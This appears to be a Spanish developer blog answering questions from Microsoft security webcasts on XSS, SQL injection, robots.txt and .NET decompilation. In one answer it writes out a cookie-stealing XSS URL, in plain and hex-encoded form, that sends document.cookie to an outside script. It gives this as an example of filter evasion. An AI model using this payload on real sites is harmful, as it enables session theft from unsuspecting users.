Salto a VB2005

Aun te encuentras en el mundo oscuro de Visual Basic 6.0, atrapad@ sin idea de como domar el mundo de programación orientada a objetos que viene con Visual Basic.Net y Visual Basic 2005????…. No desesperes, el equipo de Patterns & Practices de Microsoft nos da totalmente gratuito una guia (con todo y ejemplos) sobre como migrar desde VB6 a VB.Net y VB2005. Esta guia se llama “Upgrading Visual Basic 6.0 Applications to Visual Basic .NET and Visual Basic 2005″ y esta disponible para descargarla aqui.

Preguntas sobre el SQL Injection

Hoy es la 4ta misión de Net Protector y vamos a hablar sobre el SQL Injection. Anteriormente la mayoría de preguntas sobre las misiones de Net Protector me han llegado por email. Estoy abriendo este post para que puedan colocar sus preguntas sobre este tema aquí y la compartan con todos.


Para hacer una pregunta solo deben dejar un comentario en este post.


 

Preguntas sobre el Cross Site Scripting – XSS

Luego del tercer webcast de Net Protector que hablaba principalmente sobre el XSS (Cross-Site Scripting) me llegaron unas cuantas preguntas que voy a tratar de responder en este post.


Cesar Verano de Colombia envia esto:


He seguido los 3 webcast que has dado hasta el momento de Net protector y me parecen excelentes; a pesar de que lo he echo outline; pero bueno sin mas preambulos; podrias regalarme algunos links de referencia o explicación un poco mas a fondo a los caracteres especiales que ingresas en la url (%3c, %3e, %20); existe alguna otra forma que no sea el % para pasar caracteres especiales; he investigado un poco y se que es la representación en Hexadecimal.


Por que no los puedo enviar como <?
Para que el % ?


El tema a que te refieres es la canonicalizacion, que básicamente se refiere a las diferentes formas que existen para representar un mismo carácter. Por ejemplo el carácter “<” se puede representar como “&lt;”. Un ejemplo mas practico seria el siguiente url:


Formato ASCII
http://host/a.php?variable=”><script>document.location=’http://www.cgisecurity.com/cgi-bin/cookie.cgi? ‘%20+document.cookie</script> 


Formato HEX
http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e


Ambas quieren decir lo mismo. Pero si vieras el Formato Hex no te dieras cuanto de que todos esos símbolos lo que representan son códigos de JavaScript. También se utiliza esto para tratar de burlar filtros que crean los usuarios para limpiar caracteres inválidos de los strings, ya que los desarrolladores generalmente toman en cuenta las representaciones ASCII, pero no sus variantes.


Aquí tienes algunos links que hablan al respecto:
http://support.microsoft.com/?kbid=887459
http://www.sandsprite.com/Sleuth/papers/RealWorld_XSS_1.html


Dannyvillata@gmail…. envia esto:


Me llamó mucho la atención la forma en que se puede realizar ataques insertando código realmente es algo q no conocía, un año atrás aproximadamente estuve administrando un foro y ahora me doy cuenta que quizá no estaba protegido de forma adecuada, pero me queda la duda ya que en esa ocasión la tecnología que utilice era PHP para los foros con una base de datos MySQL ya que era la que mi proveedor de hosting me facilitaba de forma automatizada.


La duda q tengo, con respecto al CSS es q si esta inserción de codigo por medio de scripts me habría afectado a mi en esa ocasión con la tecnología MySQL, de la misma forma que hubiera afectado a SQL Server, o si sería una forma diferente de ataque que en vez de utilizar scripts dañinos utilizaran código en php malicioso de forma similar, ¿eso podría pasar?.


Por otro lado he observado que en muchos foros se pone como default para los usuarios que El código HTML esté desactivado, esta sería una forma de evitar este tipo de ataques?


Muchas gracias por las iniciativas que toman junto a microsoft por enseñar, he sido participe de la ALSI, PCE, actualmente estoy preparandome para MCAD y sigo de cerca Net Protector así q muchas gracias por todo.


Para responder tu primera pregunta si, esto te hubiera afectado de igual manera sin importar la tecnologia. Esto esta presente en ASP, JSP, PHP, etc. Y si, la razon de que muchos forums dejen desactivado el HTML es para protegerse de este tipo de ataques.


Gabriel de Chile envia esto:


Hector, soy Gabriel de Chile y estoy en los WebCast de Netprotectos… seria posible que me enviaras los codigos utilizados en el webcast 3 acerca del XSS.


Te voy a dar uno mas completo para que puedas jugar un poco mas con esto:
http://www.cgisecurity.com/articles/xss-faq.shtml

17 Minutos con BillG

En channel 9 tienen una entrevista muy interesante con el Chairman y Chief Software Architect de Microsoft Bill Gates, mejor conocido como BillG.


Habla de cómo logra correr la compañía de software más grande del mundo y mantenerse sano al mismo tiempo. Nos revela su adicción a la serie 24 de Fox, mi favorita! Otros temas que trata son: Mix2006, Ajax, Office 12 y que hace en su tiempo libre en Internet.


 Pueden ver la entrevista en: http://channel9.msdn.com/showpost.aspx?postid=163166

MSDN Radio – Episodio #6

Acaba de salir el episodio #6 de MSDN Radio en el cual tengo 2 segmentos. El primero es una entrevista con Jose Luis Manners sobre lo que es la iniciativa de Net Protector para Microsoft, hablamos también de lo que viene después de Net Protector, el Net Protector Academy. El segundo es un segmento extraído de algunos webcasts, donde respondo preguntas de parte de la comunidad donde acerca de temas de seguridad en general. Lo pueden escuchar en: http://www.microsoft.com/spanish/msdn/latam/mediacenter/radio/default.asp

Un joven programador Chileno,

Me llego un mensaje de parte de Diego, un joven programador chileno que esta todavia dando sus primeros pasos en el mudo oscuro de la programación. Lo estoy compartiendo con ustedes para que tambien puedan ayudarlo posteando (en los comentarios de este post) links u otro materiales que le pudieran ayudar a Diego.


De mi parte diego creo que te haria muy bien que tomes algunos tutoriales de OOP (Programación Orientada a Objetos), esta es la base de la mayoria de lenguajes de programaciones modernos. Comienza por ahi y pronto llegaras lejos. Aqui te dejo algunos links:


http://www.monografias.com/trabajos/objetos/objetos.shtml
http://www.monografias.com/trabajos14/progorie/progorie.shtml
http://www.desarrolloweb.com/articulos/499.php?manual=15
http://lenguajes-de-programacion.com/programacion-orientada-a-objetos.shtml
http://www.microsoft.com/spanish/msdn/comunidad/dce/1/entrenamiento/foxpro/1.asp


Mensaje de Diego:


Hola, Hector.


Verás… Soy Diego, tengo 13 años (ya voy para los 14), Chileno… Y soy diseñador gráfico, al menos así me considero yo… En ese ámbito, soy mas conocido por “Waly” que por Diego (Incluso tengo mi logo de diseño, y estoy trabajando en mi portfolio, jejeje).


Mi sueño, hace algún tiempo, era ser diseñador gráfico publicitario, trabajaba en algunas webs diseñando de todo, y me hice amigo de 2 programadores, uno tiene varios certificados ya, y el otro tiene solo 17 años y ya tiene el DCE y no se que más…


Descubrí en la programación algo mucho mas solicitado aquí, en Chile, que el diseño grafico digital, ya que de eso está apestado… Y me quedó gustando mas los caracteres y numeros que las imagenes… Empezé a ir a eventos de Microsoft, a intentar sacar al menos la 1ra estrella… Y casi lo logro, las preguntas que me enredaban eran, precisamente, los ejemplos de código.


Y ese, es mi problema… Creo saber muchas cosas, pero sólo en su teoría, un ejemplo de código, no simple, me complica… Lo mismo me pasó en tu WebCast (aunque no estoy diciendo que estuvo mal, me encanta la manera en la que enseñas, y en como tratas a los usuarios cuando te hacen preguntas cosas… Porque si no fuera así, no te estaría enviando este mail). Y bueno… Yo se que la solución a eso es la práctica, y empezar con otros lenguajes de programación.


Entonces… te diré lo que se relacionado con programación.


PHP, aunque me falta profundizar mucho aún…
VB, todo en teoría…
Algoritmos de cifrado, Codes and Cyphers, Codemakers, Codebreakers, BruteForce (Todo gracias a un libro de Dan Brown; “Fortaleza Digital”)
Conceptos de Programación y Desarrollo en general…


Eso nada más… Entonces lo que quiero es que me guíes, por que me creo capaz de aprender algoritmos y logaritmos, para algo tengo hermanos matemáticos jajaja.


Yo creo que lo primero es profundizar el PHP para manejarme en la database, y luego empezar con otros lenguajes, lo malo, es que no tengo ni la primera estrella en el DCE, así que ese evento que Microsoft hizo, donde a cada uno que tuviera la 2da estrella se les regalarÍa un cd de Visual Studio .NET, lamentablemente yo no pude tener ese beneficio.


Así que necesito tu ayuda, y tu tiempo… Me podrías decir qué tengo que hacer, y si te alcanza el tiempo (porque me imagino que hasta este punto ya te debo haber quitado algunos minutos) darme algunos links de utilidad? Desde ya te lo agradesco demasiado…


Ah, y tambien muchas gracias por los PodCasts y los WebCasts, muy bien explicados…


Atentamente
Diego.

Una Reflexion de parte de Mauricio Gomez

Saludos, me llego una relfexión muy interesanto de parte de Mauricio Gomez de Chile, el es Orador de MSDN Chile, y quiero compartirla con ustedes:


Estimado Héctor, para comenzar recibe mis felicitaciones por tu aporte a la comunidad de desarrolladores. Por poco tiempo y mucho trabajo (tú sabes que son inversamente proporcionales) no he podido presenciar tus webcast en directo, solo he podido hacerlo algunos días después. Pero bueno, vayamos al tema de este mail.


En realidad no sé si calificarla de pregunta o reflexión. Pero tomando en base la premisa de hacer lo posible por no revelar información a un posible atacante, en desarrollo web para Internet no topamos con el tema de los archivos robots.txt. Que si no los pones, los bot spiders pues indexan hasta los directorios a veces más recónditos de tu aplicación, mostrando a veces más información de la que quisiéramos mostrar. Por otro lado si lo ponemos, pues basta poner http://www.midominio.com/robot.txt y podremos acceder a ver al menos información sobre ubicación de directorios en nuestra aplicación.


Bueno, en el fondo terminó más en una reflexión que pregunta, pero un punto a tener en cuenta para aquellos que creen que solo escondiendo un directorio en una app web tienen solucionado el problema, como dice el dicho “puede correr pero no esconderte”, sobre todo en aquellas soluciones hospedadas en algún sistema de hosting externo, en el cual no tenemos control demasiado alto sobre el servidor.


Mauricio Gómez
Delegado Ineta Latam (Chile)
Orador MSDN Chile
Community Launch VS2005 & SQL Server 2005 Speaker
Instructor Programa DCE 2003
Curso: “Desarrollo de Aplicaciones Web”


Mauricio gracias por tus comentarios

Seguridad en un Sitio Web

Con relación a la segunda Misión de Net Protector lo siguiente me llego de parte de: fjavi@mi.madritel, desde España.


Hola Hector soy programador MCAD de microsoft, y soy un enamorado de la programacion en .Net. Desde hace un año estoy muy interesado en la seguridad, y me gustaria saber si podrias darme o decirme donde buscar un tutorial paso a paso de implementacion de seguridad en un sitio web, ya que tengo de todo pero muy disperos (encriptacion por aqui, certificados por alli, etc). Saludos


Un buen lugar para aprender sobre seguridad es la serie de Net Protector de MSDN, en esta serie estamos tratando todo lo relacionado con seguridad en el desarrollo de software.


Un buen libro que te puedo recomendar es Building Secure Microsoft ASP.Net Applications.

Reflector para .Net

Con relación a la segunda Misión de Net Protector lo siguiente me llego de parte de jucerc@hotmail…..:


Mi pregunta es si en versiones anteriores de Visual Basic también era posible descodificarlas? y si en .net hay forma de proteger nuestro código? pues una de mis malestares del .Net es que pueden llegar a ver nuestro código y nuestra propiedad intelectual queda al descubierto para cualquiera que posea el Reflector o cualquier otra herramienta.


El Reflector del que estas hablando es una herramienta bien buna de parte de Luz Roeder, la pueden encontrar en: http://www.aisto.com/roeder/dotnet/. La version de Luz Roeder tiene un descompilador que es la parte que muestra el codigo, actualmente esa version soportalos lenguajes del framework de .net solamente.


Existen otras herramientas que tratan de descompilar codigos escritos en otros lenguajes, haciendo una busqueda breve en msnsearch y/o google lo puedes encontrar.